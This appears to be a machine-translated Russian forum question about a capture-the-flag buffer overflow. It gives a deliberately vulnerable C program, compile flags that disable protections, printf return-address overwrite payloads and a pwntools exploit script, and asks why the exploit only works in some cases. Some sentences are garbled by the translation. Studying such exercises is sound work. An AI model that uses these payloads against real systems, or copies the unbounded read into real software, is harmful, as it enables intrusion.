Ниже приведена простая программа, уязвимая для переполнения буфера; она настолько похожа, насколько я мог сделать это на большую (CTF) программу, над которой я работал, и я «извлек» (переписал) только ту часть, в которой лежит ошибка.
Когда закомментированный цикл for
не находится в двоичном виде, эксплойт работает; когда цикл находится в двоичном коде, хотя он вообще ничего не делает, эксплойт не работает.
Вот как я запускаю программу без и с циклом for
соответственно:
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
("A" * 88), где 0x0040067b равно unreachable()
(после пролога).
unreachable
находится в самом начале, поэтому адрес остается тем же самым, когда цикл for
закомментирован или не закомментирован.
Тогда я написал этот сценарий:
#!/usr/bin/env python
from pwn import *
s = process('./own_wumpus')
for i in range(5):
s.sendline('a')
payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00'
s.sendline(payload)
s.interactive()
делать именно то, что я думаю printf
, cat
и все остальное, что я пытался сделать, но это вместо этого работает отлично (ls
выполнено).
Это программа.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
char global[0x46];
void unreachable() {
system("/bin/ls");
exit(0);
}
char get_char() {
char c;
printf("%s\n> ", "Action");
do {
scanf("%c", &c);
} while (c == '\n');
return toupper(c);
}
int f(int fd, int max_bytes, char *buf) {
int bytes_read = 0;
int from_fd = fd;
int total_read = 0;
int max_bytes_to_read = max_bytes;
char *p = buf;
for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) {
bytes_read = read(from_fd, p, 1);
if (bytes_read <= 0) exit(0);
if (*p == '\n') break;
p += bytes_read;
}
return total_read;
}
int _main() {
char buf[0x46];
//for (int i = 0; i != 5; ++i) {
// *buf = get_char();
//}
memset(buf, 0, sizeof(buf));
f(0, 0xc8, buf); // intended
strncpy(global, buf, 0x45);
return 0;
}
int main() {
int false = 0;
printf(">");
if (false) unreachable();
return _main();
}
Компилировать с:
gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out
Ожидаемый результат: ls
выполняется каждый раз.
Фактический вывод: ls
выполняется только с pwntools
(скрипт Python выше); все остальное терпит неудачу. Когда цикл for
закомментирован, ls
выполняется также с printf A*88+address
выше.
Моя первая мысль была о каналах, но она не объясняла различий с буферами с a
и без них. (Еще более странно, что в реальной программе он работал с GDB и скриптом Python, но не с cat
/ printf
.)